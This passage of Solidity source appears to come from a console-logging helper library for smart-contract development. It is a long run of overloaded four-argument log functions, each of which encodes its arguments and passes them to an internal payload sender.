uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", 